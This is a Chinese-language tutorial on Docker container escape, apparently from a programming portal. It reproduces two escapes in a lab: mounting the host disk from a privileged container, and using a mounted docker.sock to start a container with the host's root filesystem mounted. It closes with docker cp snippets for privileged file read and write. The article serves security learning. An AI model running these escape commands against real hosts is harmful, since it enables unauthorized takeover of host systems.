[系统运维] 从Docker挂载逃逸原理复现分析到BlueMoon实战

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> 系统运维 -> 从Docker挂载逃逸原理复现分析到BlueMoon实战 -> 正文阅读

[系统运维]从Docker挂载逃逸原理复现分析到BlueMoon实战

Docker逃逸

　什么是Docker

　Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中，然后发布到任何流行的 Linux或Windows操作系统的机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口。正因为docker属于沙箱机制，所以当获得docker容器的权限时与获得宿主机权限是两个概念。

　Docker逃逸

配置不当引起的docker逃逸

docket remote api未授权访问导致逃逸

特权模式逃逸

挂载敏感目录

内核漏洞提权实现逃逸（针对Linux内核利于dirtycow、dirtypipe等）

Docker本身漏洞（CVE）

CVE-2019-5736

CVE-2019-14271

　这里主要测试挂载卷造成的逃逸

　挂载敏感目录逃逸之特权模式挂载逃逸

　实验环境：ubuntu16.04 ，docker 版本 20.10

service docker status

　docker的状态是开启的，未安装docker需要安装

　特权模式下启动一个容器

docker run -it --privileged ff6f /bin/bash

　查看docker容器磁盘文件

fdisk -l

　正常环境安装的时候也都会创建磁盘文件，所以这些目录下会有很多文件

ls /dev

　创建一个目录名为"test"，名字任意创建

mkdir test

　此时test目录下无任何文件,将/dev/sda1挂载在test目录下

mount /dev/sda1 /test

　查询test目录

　此时例如home等目录下是没有任何文件的

　将amazing写入/test/home/1.txt

echo "amazing" >/test/home/1.txt

　此时宿主机home，目录下是存在1.txt文件的

　挂载敏感目录逃逸之docker.sock 挂载

　Docker架构相当于C/S架构，docker.sock就是docker中套docker，docker的client和server的通信模式参考

https://www.jb51.net/article/99019.htm

　因为确实找不到什么比较官方或者正式的介绍，华为云的介绍只是介绍了网络通信模式

　socket的连接方式有三种

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

　利用docker.sock逃逸的前提条件

攻击者获得了 docker 容器的访问权限

容器已安装/var/run/docker.sock

　使用挂载实现docker.sock,拉取一个镜像ubuntu16.04

docker pull ubuntu:16.04

　查看镜像

docker images

　运行一个挂载/var/run/的容器

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

　进入docker容器内

apt-get install docker.io

　这个时候安装可能报错

　更新源

apt update

　更新源之后重新安装docker，因为拉取的ubuntu内未安装docker或者可能是docker版本过老

apt-get install docker.io

　查看宿主机信息

docker -H unix://var/run/docker.sock info

　利用docker.sock再创建一个docker容器，挂载/var/run

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash

　此时查看test目录下可看到宿主机文件文件

　实现逃逸。这里本来打算使用alpine镜像，这里说说什么是alpine镜像

alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像，大小5MB，相对于ubuntu的大小来说下载方便，但是拉取ubuntu镜像也比较方便。

　但是alpine在更新apk的时候，比较慢

　所以还是建议使用ubuntu，这里可以利用docker逃逸去复制宿主机的source.list更换源，可能会快一点。

　原理

　过程可分为两部分

文件写入

将数据写入文件，它可用于执行特权写入或在受限文件系统之外写入文件，通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。

CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write

文件读取

它从文件中读取数据，它可用于进行特权读取或在受限文件系统之外公开文件，通过将文件复制到临时容器并返回到主机上的新位置来读取文件。
```
CONTAINER_ID="$(docker run -d alpine)"  # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
```

　二进制文件设置了 SUID 位，会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门，上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限，要与现有的 SUID 二进制文件交互，请跳过第一个命令并使用其原始路径运行程序，其最终结果是在容器B中实现了对宿主机权限的控制。